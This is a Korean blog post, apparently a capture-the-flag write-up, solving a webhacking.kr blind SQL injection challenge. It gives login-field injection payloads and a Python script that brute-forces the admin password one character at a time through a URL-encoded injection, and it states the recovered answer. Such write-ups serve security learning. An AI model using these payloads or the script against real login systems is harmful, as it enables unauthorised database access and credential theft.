티스토리 뷰

여덟번째 글.

 

 

 

문제

친절하게 Blind SQL Injection(이하 Blind Injection)이라고 써있다.

Blind Injection이란 쿼리의 결과를 참과 거짓만으로 나타내서 DB의 정보를 알아내는 Injection 공격 방법이다.

 

 

 

 

guest / guest로 입력을 했을 때 정상적으로 로그인이 되는것을 볼 수 있다.

 

 

 

너무나 당연한 이야기지만 admin / admin으로 했을 떄는 로그인이 되지않고 login fail이 뜬다.

여기서 간단한 Blind Injection을 해 보겠다.

 

 

 

이렇게 admin' or '1=2 / 1234 이렇게 넣어줬다(혹시나 해서 확인차 admin계정이 있는지 확인해 보았다)

그결과는 wrong password라고 뜬다.

여기서 유추할 수 있는 것은 login fail이 false 인 것 같고 wrong password가 true 인 것 같다.

또한 SELECT를 쓰면 no hack이라고 뜨고 먹히질 않았다. 

많은 삽질을 한뒤 length()와 substr(), ascii()를 통해서 문제를 풀 수 있었다. 

 

admin / admin' or length(pw) > 1#

이렇게 넣어줬는데 wrong password가 뜨는걸 보니 패스워드는 길이가 1이상이다.

맨 끝에 #은 뒤에나오는 문자들을 모두 무시한다. (;와 비슷한 역할을 한다)

정말 운이 좋게 어떤 테이블의 pw라는 이름의 컬럼이 있기 때문에 가능한 일이다.

 

admin / admin' or ascii(substr(pw,index,1))=아스키코드 10진수값#

그 다음 pw의 길이를 알았으면 위와 같은 방식으로

파이썬코드를 이용하여 pw의 첫글자부터 아스키코드의 10진수값을 하나씩 확인 하였다.

아래는 파이썬 코드이다.

 

 

더보기
import requests

url = "https://webhacking.kr/challenge/bonus-1/index.php"
cookie = {'PHPSESSIONID' : '자신의 session id'}

length = 1

while True : #비밀번호 길이 알아내기

    param = f"?id=admin&pw=%27+or+length%28pw%29+=+{length}%23"
    request = requests.get(url+param, cookies = cookie)
    if (request.text.find("wrong password") !=-1) & (length !=5) : # guest계정의 비번은 guest이기 때문에 pw의 길이가 5일때 걸러줘야한다.
        break
    length +=1

print("password length : ", length)

password = ''

for i in range(0,length+1): # 비밀번호 값 알아내기
    for j in range(33, 127):

        param = f"?id=admin&pw=%27+or+ascii%28substr%28pw%2C{i+1}%2C1%29%29+=+{j}%23"
        request = requests.get(url + param, cookies=cookie)
        if request.text.find("wrong password") !=-1:
            print(chr(j))
            password += chr(j)
            break

파이썬 코드를 돌리게 되면 pw값이 ghere_is_no_rest_for_the_white_angel 이렇게 나오는데

틀린 값이다 왜냐하면 guest / guest로도 로그인이 되기때문에 pw는 guest를 포함하기 때문에

앞에가 g로 나온것이다. 문장을 유추해보면 ghere가 아니라 there임을 알 수 있다.

(코드에서도 33부터 돌기때문에 g가 t보다 앞에있으므로 g가 출력된 것이다 귀찮아서 따로 예외처리해주지 않았음 ㅋ)

'writeup > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] 33번 문제(old)  (0) 2020.08.07
[Webhacking.kr] 32번 문제(old)  (0) 2020.08.06
[Webhacking.kr] 22번 문제(old)  (0) 2020.08.05
[Webhacking.kr] 19번 문제(old)  (0) 2020.07.30
[Webhacking.kr] 12번 문제(old)  (0) 2020.07.29